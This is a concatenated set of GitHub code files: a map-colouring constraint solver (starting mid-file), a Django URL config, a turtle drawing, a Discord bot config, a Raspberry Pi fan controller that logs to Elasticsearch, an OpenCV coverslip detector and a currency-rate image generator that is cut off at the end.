for _ in state.state_adjacent:\r\n color = _.colour_name\r\n if color!=None and (color in domain_free) :\r\n domain_free.remove(color)\r\n return domain_free\r\n\r\n\"\"\"\r\nThis function is used to change the domain of the current state.\r\n\"\"\"\r\ndef change_domain(state_object,color):\r\n for _ in state_object.state_adjacent:\r\n if (_.state_status==\"not visited\") and (color in _.state_domain):\r\n (_.state_domain).remove(color)\r\n\r\n\"\"\"\r\nThis function is used to get the single domain status of the \r\nstates of the graph.\r\n\"\"\" \r\ndef single_domain_states(objects):\r\n for _ in objects:\r\n if _.state_singleton==False and len(_.gettng_state_domain())==1:\r\n _.state_singleton=True\r\n color = _.state_domain[0]\r\n print(\"The singleton status of the current state.\",_.state_domain)\r\n return _,color\r\n return None,None\r\n\r\n\"\"\"\r\nThis function is used to generate the singleton propagation of \r\neach states.\r\n\"\"\"\r\ndef singleton_propagtion(objects):\r\n print(\"The singleton propagation of the states\")\r\n singleton_states={}\r\n while True:\r\n state,color = single_domain_states(objects)\r\n if state==None:\r\n return singleton_states,\"The status of the singleton propagation is success\"\r\n else:\r\n print(\"The singleton propagation of the\",state.state_name)\r\n print(\"The domain status of the states is that\",state.state_domain)\r\n singleton_states[state]=color\r\n for _ in state.state_adjacent:\r\n if _.state_status==\"not visited\" and color in _.state_domain:\r\n print(\"The adjacent the state of the states \"+_.state_name)\r\n print(\"The domain adjacent of the state: \",_.state_domain)\r\n if len(_.state_domain)==1:\r\n print(\"The state\",_.state_name)\r\n #print(_.state_domain)\r\n return singleton_states,\"The singleton propagation is unsuccessfull\"\r\n (_.state_domain).remove(color)\r\n print(\"The state domain status of the state is that : \",_.state_domain)\r\n\r\n\"\"\"\r\nTHIS FUNCTION IS USED TO FOR ARRANGING COLORS FOR DIFFERENET STATES \r\nWHERE EACH STATES IS ASSIGNED WITH VALUE.\r\n\"\"\"\r\ndef colour_arranging(domain,state_domain):\r\n domain_1=deepcopy(domain)\r\n domain_2=deepcopy(domain_1)\r\n state_domain=deepcopy(state_domain)\r\n for colour in dom:\r\n count=0\r\n for state_colour in state_domain:\r\n \r\n if colour!=state_colour:\r\n \r\n count+=1\r\n\r\n if count==len(state_domain):\r\n \r\n domain_2.remove(colour)\r\n\r\n return domain_2\r\n \r\n\"\"\"\r\nAssigning colors to the states\r\n\"\"\"\r\ndef assigning_color(objects,color):\r\n print(\"The assigning colors to the state\")\r\n\r\n states_updated=[]\r\n for _ in objects.state_adjacent:\r\n if _.state_status==\"not visited\" and color in _.state_domain:\r\n (_.state_domain).remove(color)\r\n states_updated.append(_)\r\n return states_updated\r\n\r\n\"\"\"\r\nResetting the values of the status.\r\n\"\"\"\r\ndef resetting_the_values(state,domain,color,states_updated):\r\n print(\"Inside the resetting method\")\r\n color_position = domain.index(color)\r\n for _ in state.state_adjacent:\r\n if _.status==\"not visited\" and (_ in states_updated):\r\n (_.domain).insert(color_position,color)\r\n copy_of_domain= assigning_color(domain,_.state_domain)\r\n _.domain=deepcopy(copy_of_domain)\r\n\r\n\"\"\"\r\nReversing the singleton propagation\r\n\"\"\"\r\ndef resetting_the_singleton(singleton_states,domain,colour):\r\n print(\"The reversing the singleton propagation\")\r\n for state,colour in singleton_states.items():\r\n temp_var = domain.index(colour)\r\n for _ in state.state_adjacent:\r\n if _.status==\"not visited\" and (_.is_singleton()):\r\n (_.domain).insert(temp_var,colour)\r\n domain_1 = colour_arranging(domain,_.domain)\r\n _.domain=domain_1\r\n state.state_singleton=False\r\n\r\n\"\"\"\r\nConstraint satisfaction problem function \r\n\"\"\" \r\ndef constraint_satisfaction_function(state_objects,domain,states_and_colours):\r\n global back_propagation \r\n if len(states_and_colours)==len(state_objects):\r\n return states_and_colours\r\n \r\n un_assigned_states=states_that_currently_available(state_objects)\r\n \r\n state=un_assigned_states[0]\r\n print(state.state_name)\r\n available_domain=deepcopy(state.state_domain)\r\n iter1 = 0\r\n for colour in available_domain:\r\n iter1+=1 \r\n state.state_status=\"visited\"\r\n state.state_colour_name=colour\r\n states_and_colours[state.state_name]=colour\r\n \r\n updated_states=assigning_color(state,colour)\r\n print(\"total updated states\",len(updated_states))\r\n singleton_states,status=singleton_propagtion(state_objects)\r\n print(len(singleton_states),status)\r\n \r\n if status!=\"unsucessful\":\r\n result=constraint_satisfaction_function(state_objects,domain,states_and_colours)\r\n else:\r\n result=status\r\n if result!=\"unsucessful\":\r\n return result\r\n del states_and_colours[state.state_name]\r\n state.colour_name=None\r\n state.status=\"not visited\"\r\n \r\n \r\n back_propagation+=1\r\n return \"unsucessful\"\r\n\r\n\"\"\"\r\nAssigning the object.\r\n\"\"\" \r\ndef value_to_object(objects,domain_to_Values):\r\n temp_var = []\r\n dom=deepcopy(domain_to_Values)\r\n for _ in objects:\r\n cr_state_oj=State(_,dom)\r\n temp_var.append(cr_state_oj)\r\n dom=deepcopy(dom)\r\n return temp_var\r\n\r\n\r\n\"\"\"\r\nThis is the main function\r\n\"\"\"\r\ndef main():\r\n n=int(input(\"Enter the country for which states to be considered\\n 1.America States \\n2.Australia States\"))\r\n if(n==2):\r\n \r\n states = csp_singleton_australia_states\r\n restriction_graph = csp_singleton_australia_graph\r\n elif(n==1):\r\n \r\n states = csp_singleton_america_states\r\n restriction_graph= csp_singleton_america_graph\r\n\r\n domain=[\"blue\",\"green\",\"black\",\"red\"]\r\n state_objects = value_to_object(states,domain)\r\n \r\n states_and_colours={} \r\n for _ in state_objects:\r\n key = _.state_name\r\n values=restriction_graph[key]\r\n neighbours=[]\r\n for value in values:\r\n objects=[objects_form for objects_form in state_objects if objects_form.state_name==value ] \r\n neighbours.append(objects[0])\r\n \r\n _.set_state_adjacent(neighbours)\r\n state_constraint=constraint_satisfaction_function(state_objects,domain,states_and_colours)\r\n print(state_constraint)\r\nstart_time = time.time()\r\nmain()\r\nend_time = time.time()\r\nprint(\"NUMBER OF BACKTRACKING HAPPENED IN THE PROGRAM : \" + str(back_propagation))\r\nprint()\r\nprint(\"THE TOTAL RUNNING TIME OF THE PROGRAM IS :\" + str(end_time - start_time) + \" SECONDS\")\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n\r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n","repo_name":"snehasrikanth/Map-coloring--CSP","sub_path":"singleton_csp .py","file_name":"singleton_csp .py","file_ext":"py","file_size_in_byte":9951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32549290574","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom account.views import registration_view, login_view, logout_view\nimport debug_toolbar\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include('shop.urls', namespace='shop')),\n path('registration/', registration_view, name='registration'),\n path('login/', login_view, name='login'),\n path('logout/', logout_view, name='logout'),\n path('cart/', include('cart.urls', namespace='cart')),\n path('order/', include('order.urls', namespace='order')),\n path('manager/', include('manager.urls', namespace='manager'))\n]\n\nif settings.DEBUG:\n urlpatterns = [\n path('__debug__/', include(debug_toolbar.urls)),\n ] + urlpatterns\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"nyarvan/luckyshop","sub_path":"luckyshop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27446479109","text":"from turtle import *\n\nht(); pu(); sety(-140)\nshape(\"square\"); shapesize(3,40)\n\ncolors = (\"red3\",\"orange\",\"yellow2\",\"seagreen\",\"orchid\",\"royalblue1\",\"dodgerblue4\")\n\nfor i in range(7):\n\tcolor(colors[i]); stamp(); sety(ycor()+60)\n\npu(); sety(-105); pd()\nshape(\"turtle\"); color(\"white\"); width(25); circle(145)\nlt(90); fd(280)\n\nbk(120); seth(-40); fd(140)\nbk(140); seth(220); fd(140)\n\ndone()\n","repo_name":"Deepulak/Python-Lightin","sub_path":"abroad_sign.py","file_name":"abroad_sign.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25961970328","text":"import os\r\nfrom decouple import config\r\n\r\n\r\nAPI_KEY = config('TOKEN')\r\n# Create a bot application and get its token at the Discord Developer Portal.\r\n# Follow this guide if you need help: https://www.writebots.com/discord-bot-token/\r\n# Make sure to enable both privileged intents on the bot tab.\r\n# This is also how you will invite the bot to your server.\r\ntoken = API_KEY\r\n\r\n# Bot description shown in the help menu\r\ndescription = \"\"\r\n\r\n# ID of the guild\r\n# To find this, go to your discord settings > advanced > enable developer mode\r\n# Then, right click the guild picture on the left sidebar and click copy ID\r\nguild_id = 893321767274303488\r\n\r\n# URLs of the OpenSea accounts that should be monitored and the channel IDs where their activity should be sent.\r\n# These are some examples. Feel free to add/remove as many as you wish but make sure to follow this template.\r\n# To find the IDs, go to your discord settings > advanced > enable developer mode\r\n# Then, right click the channel and click copy ID\r\naccounts_and_channels = [(\"https://opensea.io/GaryVee?tab=activity\", 893687009682554890),\r\n (\"https://opensea.io/pranksy?tab=activity\", 893687089395277895),\r\n (\"https://opensea.io/Gennady?tab=activity\",893966064390647869),\r\n (\"https://opensea.io/PaperD?tab=activity\",893968646580355092),\r\n (\"https://opensea.io/Farokh?tab=activity\",893971238148530206),\r\n (\"https://opensea.io/Zeneca_33?tab=activity\",893974368152084510),\r\n (\"https://opensea.io/Mister_Benjamin?tab=activity\",893981661736337488),\r\n (\"https://opensea.io/DCLBlogger?tab=activity\",893974143509352478)]\r\n\r\n# Time (in minutes) between checking for new sales\r\n# All sales are always sent, no matter how often we check\r\nupdate_interval = 5\r\n","repo_name":"sulphur1010/bot","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16299759151","text":"import json\nimport os\nimport psutil\nimport requests\nimport socket\nimport subprocess\nimport sys\n\nfrom datetime import datetime\nfrom dotenv import load_dotenv\nfrom gpiozero import CPUTemperature\nfrom requests.auth import HTTPBasicAuth\nfrom time import sleep, strftime, time\n\n# Disable warning on HTTPS where SSL verification is off.\n# NOTE: This is because Elastic cluster uses self-signed certificate.\nrequests.packages.urllib3.disable_warnings() \n\n# Config\npath_home = '/home/pi/'\npath_proj = f'{path_home}cm4-fan-control-service/'\npath_main = f'{path_proj}main'\npath_dotenv = f'{path_proj}.env'\nassert os.path.isfile(path_dotenv), '.env file is missing!'\nload_dotenv(path_dotenv)\nelastic_host = os.getenv('ELASTICSEARCH_HOST')\nelastic_pass = os.getenv('ELASTICSEARCH_PASSWORD')\nelastic_user = 'elastic'\nelastic_log = True\nfan_min_temp = 38.0 \nfan_full_temp = 58.0\nsleep_secs = 1\n\n# Machine info\nhostname = socket.gethostname()\nlocal_ip = socket.gethostbyname(hostname)\nprint(f'hostname: {hostname}')\nprint(f'local_ip: {local_ip}')\n\n\ndef get_fan_rpm():\n # Example output:\n # USE_DEV_LIB \n # Current environment: Ubuntu\n # DEV I2C Device\n # DEV I2C Device\n # I2C ok !\n # End Res_value: 923\n # FAN_SPEED: 4260\n # ---------------------\n output = subprocess.run([path_main, 'rpm'], stdout=subprocess.PIPE)\n output = output.stdout.decode('utf-8').rstrip()\n lines = output.split('\\n')\n for line in lines:\n if line.startswith('FAN_SPEED: '):\n rpm = line[len('FAN_SPEED: '):]\n return int(rpm)\n\n #raise RuntimeError('FAN_SPEED not found in command output')\n return 0 # There may be no fan available.\n\n\ndef get_desired_fan_speed(cpu_temp: float):\n\n # CPU temp below which fan will be deactivated.\n if cpu_temp < fan_min_temp:\n print('desired_fan_speed: 0%')\n return 0\n\n # CPU temp above which fan will be on maximum.\n if cpu_temp >= fan_full_temp:\n print('desired_fan_speed: 100%')\n return 255\n\n # Get percentage value of cpu_temp between min and full temps.\n t = cpu_temp - fan_min_temp\n m = fan_full_temp - fan_min_temp\n q = t / m\n p = q * 100\n print(f'desired_fan_speed: {p}%')\n\n # Valid fan speed value: 0-255.\n assert q <= 1\n return int(255 * q)\n\n\ndef set_fan_speed(fan_speed: int):\n assert fan_speed >= 0\n assert fan_speed <= 255\n #os.system(f'{path_main} set {fan_speed}')\n #output = subprocess.run([path_main, 'set', str(fan_speed)], stdout=subprocess.PIPE)\n #output = output.stdout.decode('utf-8').rstrip()\n subprocess.run([path_main, 'set', str(fan_speed)], stdout=subprocess.PIPE)\n\n\nwhile True:\n \n # CPU frequency\n output = subprocess.run(['vcgencmd', 'measure_clock', 'arm'], stdout=subprocess.PIPE)\n cpu_freq = output.stdout.decode('utf-8').rstrip()\n assert cpu_freq.startswith('frequency')\n cpu_freq = cpu_freq[len('frequency'):]\n print(f'cpu_freq: {cpu_freq}')\n\n # CPU temperature - method 1\n cpu = CPUTemperature()\n cpu_temp_alt = cpu.temperature\n cpu_temp_alt = float(cpu_temp_alt)\n print(f'cpu_temp_alt: {cpu_temp_alt}')\n\n # CPU temperature - method 2\n output = subprocess.run(['vcgencmd', 'measure_temp'], stdout=subprocess.PIPE)\n cpu_temp = output.stdout.decode('utf-8').rstrip()\n assert cpu_temp.startswith('temp=')\n cpu_temp = cpu_temp[len('temp='):]\n assert cpu_temp.endswith('\\'C')\n cpu_temp = cpu_temp[:len('\\'C')]\n cpu_temp = float(cpu_temp)\n print(f'cpu_temp: {cpu_temp}')\n\n # Is the CPU is throttled? 0x0 means not throttled. TODO: What value for throttled?\n output = subprocess.run(['vcgencmd', 'get_throttled'], stdout=subprocess.PIPE)\n cpu_throttled = output.stdout.decode('utf-8').rstrip()\n assert cpu_throttled.startswith('throttled=')\n cpu_throttled = cpu_throttled[len('throttled='):]\n print(f'cpu_throttled: {cpu_throttled}')\n\n # Fan RPM\n fan_rpm = get_fan_rpm()\n print(f'fan_rpm: {fan_rpm}')\n \n # Fan speed\n desired_fan_speed = get_desired_fan_speed(cpu_temp)\n print(f'desired_fan_speed: {desired_fan_speed}')\n \n # Adjust fan speed according to temperature.\n set_fan_speed(desired_fan_speed)\n\n # CPU usage\n cpu_usage = psutil.cpu_percent()\n print(f'cpu_usage: {cpu_usage}%')\n\n # Memory usage\n mem_usage = psutil.virtual_memory().percent\n print(f'mem_usage: {mem_usage}%')\n\n # Disk usage\n disk_usage = psutil.disk_usage(os.sep).percent\n print(f'disk_usage: {disk_usage}%')\n\n if elastic_log:\n try:\n payload = {\n 'cpu_freq': cpu_freq,\n 'cpu_temp': cpu_temp,\n 'cpu_throttled': cpu_throttled,\n 'cpu_usage': cpu_usage / 100,\n 'disk_usage': disk_usage / 100,\n 'fan_rpm': fan_rpm,\n 'fan_speed': desired_fan_speed,\n 'fan_full_temp': fan_full_temp,\n 'fan_min_temp': fan_min_temp,\n 'hostname': hostname,\n 'local_ip': local_ip,\n 'mem_usage': mem_usage / 100,\n 'time': time()\n }\n\n url = f'{elastic_host}/fan_control/_doc/'\n headers = {'Content-Type': 'application/json', 'Accept-Charset': 'UTF-8'}\n data = json.dumps(payload)\n auth = HTTPBasicAuth(elastic_user, elastic_pass)\n verify = False\n\n #print(f'url: {url}')\n #print(f'data: {data}')\n\n response = requests.post(url, data=data, headers=headers, auth=auth, verify=verify)\n assert response.status_code == 201\n \n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\n\n sleep(sleep_secs)\n\n","repo_name":"stever/cm4-fan-control-service","sub_path":"fancontrol.py","file_name":"fancontrol.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3966606897","text":"class Solution:\n def countEven(self, num: int) -> int:\n count = 0\n\n for i in range(1, num + 1):\n if self.getDigitSum(i):\n count += 1\n\n return count\n\n def getDigitSum(self, num) -> bool:\n digit_sum = 0\n\n while num > 0:\n digit_sum += (num % 10)\n num //= 10\n\n return digit_sum % 2 == 0\n","repo_name":"amoogler/leetcode-python","sub_path":"Math/2180-Count_Integers_With_Even_Digit_Sum.py","file_name":"2180-Count_Integers_With_Even_Digit_Sum.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25890217189","text":"import cv2 # pip install opencv-python\nimport numpy as np\n\n\nclass ContainerCoverslipDetector:\n \"\"\"\n This class is aimed at finding the containers and coverslips from a CarrierOverview object\n \"\"\"\n\n coo = ''\n mask = ''\n containers = []\n coverslips = []\n\n def __init__(self, carrier_overview=''):\n \"\"\"\n Constructor: creates a new ContainerCoverslipDetector object\n :param carrier_overview: the CarrierOverview object to work on\n \"\"\"\n\n self.coo = carrier_overview\n\n def preprocess_image(self):\n \"\"\"\n Performs image processing and stores results in class attributes mask:\n - bilateral filter\n - adaptive threshold\n \"\"\"\n img = self.coo.get_image()\n\n # Generating mask\n bilateral_filter = cv2.bilateralFilter(img, 17, 9, 36)\n self.mask = cv2.adaptiveThreshold(bilateral_filter, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY,\n 255, 0)\n\n def find_containers(self, width=40, height=90, tolerance=0.05):\n \"\"\"\n Performs containers detection: rectangle of user-defined width and height will be looked for,\n taking into account the input tolerance (values +/- the tolerance in percents). It returns a dictionary\n containing the found containers and appends them to the self.container class attribute (list).\n :param width: the expected container width in mm (default value: 40mm, corresponding to the 3 slides holder)\n :param height: the expected container height in mm (default value: 90mm, corresponding to the 3 slides holder)\n :param tolerance: tolerance for dimensions expressed in percents (default value: 0.05)\n :return a dictionary containing the found containers\n \"\"\"\n index = 1\n out = dict()\n\n width = width * 1000 / self.coo.metadata['CalibX_microns']\n height = height * 1000 / self.coo.metadata['CalibY_microns']\n\n if self.mask is not None:\n self.preprocess_image()\n\n slides, hierarchy = cv2.findContours(self.mask, cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE) # Only want the contours, not the hierarchy\n\n for slide in slides:\n bbox = cv2.boundingRect(slide)\n x, y, w, h = bbox # unpacking\n if width * (1 - tolerance) < w < width * (1 + tolerance) and height * (1 - tolerance) < h < height * (\n 1 + tolerance):\n self.containers.append(bbox)\n out['Container' + str(index)] = {'Coordinates': list(bbox)}\n index = index + 1\n\n return out\n\n def find_circular_coverslips(self, diameter=18, tolerance=0.1, limit_to_area = None):\n \"\"\"\n Performs coverslips detection: rectangle of user-defined diameter will be looked for,\n taking into account the input tolerance (values +/- the tolerance in percents). It returns a dictionary\n containing the found coverslips and appends them to the self.coverslips class attribute (list).\n :param diameter: the expected circular coverslip's diameter in mm (default value: 18mm)\n :param tolerance: tolerance for dimensions expressed in percents (default value: 0.1)\n :param limit to area: limits the detection of the coverslips to a certain image area\n :return a dictionary containing the found coverslips\n \"\"\"\n index = 1\n out = dict()\n radius = (diameter * 1000 / self.coo.metadata['CalibX_microns']) / 2\n\n if self.mask is not None:\n self.preprocess_image()\n\n if limit_to_area is None:\n circles = cv2.HoughCircles(self.mask, cv2.HOUGH_GRADIENT, 2, self.mask.shape[1] / 10,\n param1=100, param2=65,\n minRadius=int(radius * (1 - tolerance)), maxRadius=int(radius * (1 + tolerance)))\n else:\n x, y, w, h = limit_to_area\n circles = cv2.HoughCircles(self.mask[y:y + h, x:x + w], cv2.HOUGH_GRADIENT, 2, self.mask.shape[1] / 10,\n param1=100, param2=65,\n minRadius=int(radius * (1 - tolerance)), maxRadius=int(radius * (1 + tolerance)))\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n for circle in circles[0, :]:\n if limit_to_area is not None:\n x, y, w, h = limit_to_area\n circle[0]= circle[0] + x\n circle[1] = circle[1] + y\n self.coverslips.append(circle)\n out['Coverslip'+str(index)] = list(circle)\n index = index +1\n\n return out\n\n def find_circular_coverslips_in_containers(self, width_container=40, height_container=90, tolerance_container=0.05, diameter_coverslip=18, tolerance_coverslip=0.1):\n \"\"\"\n Performs coverslips detection: rectangle of user-defined diameter will be looked for,\n taking into account the input tolerance (values +/- the tolerance in percents)\n :param width_container: the expected container width in mm (default value: 40mm, corresponding to the 3 slides holder)\n :param height_container: the expected container height in mm (default value: 90mm, corresponding to the 3 slides holder)\n :param tolerance_container: tolerance for dimensions expressed in percents (default value: 0.05)\n :param diameter_coverslip: the expected circular coverslip's diameter in mm (default value: 18mm)\n :param tolerance_coverslip: tolerance for dimensions expressed in percents (default value: 0.1)\n :return a dictionary containing the found containers and coverslips taking this shape:\n {Container1:\n {'Coordinates': [x, y, w, h],\n 'Coverslips': {'Coverslip1': [w, y, radius],\n 'Coverslip2': [w, y, radius]},\n }\n Container2:\n {'Coordinates': [x, y, w, h],\n 'Coverslips': {'Coverslip1': [w, y, radius],\n 'Coverslip2': [w, y, radius]}\n }\n }\n \"\"\"\n\n out = self.find_containers(width_container, height_container, tolerance_container)\n\n for key, value in out.items():\n coverslips = self.find_circular_coverslips(diameter_coverslip, tolerance_coverslip, limit_to_area=value['Coordinates'])\n out[key]['Coverslips']=coverslips\n\n def get_image(self):\n \"\"\"\n Generates and returns an image superimposing all detections (containers and coverslips)\n over the original image. NB: locations for containers/coverslips are taken from the class attributes, with no\n aspect of hierarchy between them. Detection should have been performed BEFORE calling get_image in order to feed\n the two class attributes.\n :return: the original image overlaid with all detections\n \"\"\"\n img = cv2.cvtColor(self.coo.get_image(), cv2.COLOR_GRAY2RGB)\n\n for container in self.containers:\n x, y, w, h = container # unpacking\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 5)\n\n for coverslip in self.coverslips:\n center = (coverslip[0], coverslip[1])\n # circle center\n cv2.circle(img, center, 3, (255, 0, 0), 5)\n # circle outline\n radius = coverslip[2]\n cv2.circle(img, center, radius, (255, 0, 0), 5)\n\n return img\n\n def show(self, name='Detections'):\n \"\"\"\n Displays the image data in a new window\n :param name: non mandatory parameter, name to be given to the image window\n \"\"\"\n cv2.imshow(name, self.get_image())\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def test_detect(self):\n img = self.coo.get_image()\n img_out = cv2.cvtColor(img.copy(), cv2.COLOR_GRAY2RGB)\n\n # -------Test Gamma\n gamma = 0.5\n lookUpTable = np.empty((1, 256), np.uint8)\n for i in range(256):\n lookUpTable[0, i] = np.clip(pow(i / 255.0, gamma) * 255.0, 0, 255)\n img = cv2.LUT(img, lookUpTable)\n\n\n bilateral_filter = cv2.bilateralFilter(img, 17, 9, 36)\n adaptive_thr = cv2.adaptiveThreshold(bilateral_filter, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY,\n 255, 0)\n # edges = cv2.Canny(adaptive_thr, 0, 0)\n\n # -----------------------------------------------------\n circles = cv2.HoughCircles(adaptive_thr, cv2.HOUGH_GRADIENT, 2, img.shape[1] / 10,\n param1=100, param2=65,\n minRadius=150, maxRadius=200)\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n for i in circles[0, :]:\n center = (i[0], i[1])\n # circle center\n cv2.circle(img_out, center, 3, (255, 0, 0), 5)\n # circle outline\n radius = i[2]\n cv2.circle(img_out, center, radius, (255, 0, 0), 5)\n # -----------------------------------------------------\n slides, hierarchy = cv2.findContours(adaptive_thr, cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE) # Only want the contours, not the hierarchy\n\n for slide in slides:\n bbox = cv2.boundingRect(slide)\n x, y, w, h = bbox # unpacking\n if 800 < w < 1000 and 1800 < h < 2000:\n cv2.rectangle(img_out, (x, y), (x + w, y + h), (0, 255, 0), 5)\n\n zoom = 0.15\n w = int(img.shape[1] * zoom)\n h = int(img.shape[0] * zoom)\n offset_x = 0\n offset_y = 0\n\n cv2.imshow('Ori', img)\n cv2.imshow('Bilateral_filter', bilateral_filter)\n cv2.imshow('Adaptive_threshold', adaptive_thr)\n # cv2.imshow('Edges', edges)\n cv2.imshow('Detections', img_out)\n\n cv2.namedWindow('Ori', cv2.WINDOW_NORMAL)\n cv2.namedWindow('Bilateral_filter', cv2.WINDOW_NORMAL)\n cv2.namedWindow('Adaptive_threshold', cv2.WINDOW_NORMAL)\n # cv2.namedWindow('Edges', cv2.WINDOW_NORMAL)\n cv2.namedWindow('Detections', cv2.WINDOW_NORMAL)\n\n cv2.resizeWindow('Ori', w, h)\n cv2.resizeWindow('Bilateral_filter', w, h)\n cv2.resizeWindow('Adaptive_threshold', w, h)\n # cv2.resizeWindow('Edges', w, h)\n cv2.resizeWindow('Detections', w, h)\n\n offset_x = offset_x + w\n cv2.moveWindow('Bilateral_filter', offset_x, offset_y)\n offset_x = offset_x + w\n cv2.moveWindow('Adaptive_threshold', offset_x, offset_y)\n offset_x = offset_x + w\n # cv2.moveWindow('Edges', offset_x, offset_y)\n # offset_x = 0\n # offset_y = offset_y + h\n cv2.moveWindow('Detections', offset_x, offset_y)\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","repo_name":"fabricecordelieres/Python_Zen-CD7-SandBox","sub_path":"CarrierOverview/ContainerCoverslipDetector.py","file_name":"ContainerCoverslipDetector.py","file_ext":"py","file_size_in_byte":11085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2532971392","text":"# Faça um programa que calcule o valor total investido por um colecionador em sua coleção de CDs e o valor médio gasto\n# em cada um deles. O usuário deverá informar a quantidade de CDs e o valor para em cada um.\nquant = int(input('Digite a quantidade de CDs que o colecionador possui: '))\nvalor_tot = 0\nfor n in range(quant):\n valor = float(input(f'Digite o valor do {n+1}º CD: R$'))\n valor_tot += valor\n\nmedia = valor_tot / quant\nprint(f'Quantidade de CDs na coleção = {quant}\\n'\n f'Valor médio gasto em cada CD = R${media:.2f}')","repo_name":"AlvaroIto/Exercicios_Wikipy_Python","sub_path":"Estrutura de Repetição/Ex28.py","file_name":"Ex28.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1222857911","text":"\"\"\"Application core.\"\"\"\n\nfrom flask.ext.mail import Mail\nfrom flask.ext.security import Security\nfrom flask.ext.sqlalchemy import SQLAlchemy\n\n__all__ = 'db',\n\n\ndb = SQLAlchemy() # NOQA\nmail = Mail() # NOQA\nsecurity = Security() # NOQA\n\n\nclass Server(object):\n\n \"\"\"A wrapper around common SQLAlchemy functionality.\"\"\"\n\n def _isinstance(self, instance, raise_error=True):\n \"\"\"Check if the specified instance matches the service's model.\n\n By default this method will raise :class:`ValueError` if the\n instance is not of the correct type.\n\n :param instance: the instance to check.\n :param raise_error: whether or not to raise an error on\n type mismatch.\n :return bool: whether or not the instance is of the expected\n type.\n :raises: ValueError\n\n \"\"\"\n\n if isinstance(instance, self.__model__):\n return True\n elif raise_error:\n raise ValueError('{} is not of type {}.'.format(\n instance, self.__model__,\n ))\n else:\n return False\n\n def all(self):\n \"\"\"Return a generator containing all instances of the model.\"\"\"\n\n return self.__model__.query.all()\n\n def save(self, instance, commit=True):\n \"\"\"Commit the instance to the database and return it.\n\n :param instance: the instance to save.\n :param commit: whether or not to commit the current session.\n\n \"\"\"\n\n self._isinstance(instance)\n db.session.add(instance)\n if commit:\n db.session.commit()\n return instance\n","repo_name":"dirn/Secret-Santa","sub_path":"xmas/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"17686680289","text":"from PIL import Image, ImageFont, ImageDraw\nimport pathlib\nfrom echo.nbrb.kurs.get_func_curs import *\n\n\ndef get_kurs_nb_one():\n\n img = Image.new(\"RGB\", (1200, 800), (255, 255, 255))\n img_draw = ImageDraw.Draw(img)\n\n font_path = pathlib.Path('font/Open_Sans/OpenSans-Regular.ttf').__str__()\n # font_path = pathlib.Path('OpenSans-Regular.ttf').__str__()\n\n name_font = ImageFont.truetype(font_path, 60)\n date_font = ImageFont.truetype(font_path, 50)\n kurs_font = ImageFont.truetype(font_path, 50)\n line_font = ImageFont.truetype(font_path, 20)\n\n name = 'Курсы валют Национального банка'\n date = 'на дату:'\n usd = '1 USD:'\n eur = '1 EUR:'\n rub = '100 RUB:'\n uah = '100 UAH:'\n pln = '10 PLN:'\n line = '_______________________________________________'\n\n img_draw.text((60, 20), name, font=name_font, fill=(134, 31, 45))\n\n img_draw.text((350, 100), date, font=date_font, fill=(134, 31, 45))\n img_draw.text((570, 100), str(max_date_curs_nb()), font=date_font, fill=(134, 31, 45))\n\n img_draw.text((360, 230), usd, font=date_font, fill=(134, 31, 45))\n img_draw.text((620, 230), str(curs_nb_one(max_date_curs_nb())['usd']), font=kurs_font, fill=(134, 31, 45))\n img_draw.text((360, 290), line, font=line_font, fill=(20, 11, 15))\n\n img_draw.text((360, 330), eur, font=date_font, fill=(134, 31, 45))\n img_draw.text((620, 330), str(curs_nb_one(max_date_curs_nb())['eur']), font=kurs_font, fill=(134, 31, 45))\n img_draw.text((360, 390), line, font=line_font, fill=(20, 11, 15))\n\n img_draw.text((360, 430), rub, font=date_font, fill=(134, 31, 45))\n img_draw.text((620, 430), str(curs_nb_one(max_date_curs_nb())['rub']), font=kurs_font, fill=(134, 31, 45))\n img_draw.text((360, 490), line, font=line_font, fill=(20, 11, 15))\n\n img_draw.text((360, 530), uah, font=date_font, fill=(134, 31, 45))\n img_draw.text((620, 530), str(curs_nb_one(max_date_curs_nb())['uah']), font=kurs_font, fill=(134, 31, 45))\n img_draw.text((360, 590), line, font=line_font, fill=(20, 11, 15))\n\n img_draw.text((360, 630), pln, font=date_font, fill=(134, 31, 45))\n img_draw.text((620, 630), str(curs_nb_one(max_date_curs_nb())['pln']), font=kurs_font, fill=(134, 31, 45))\n 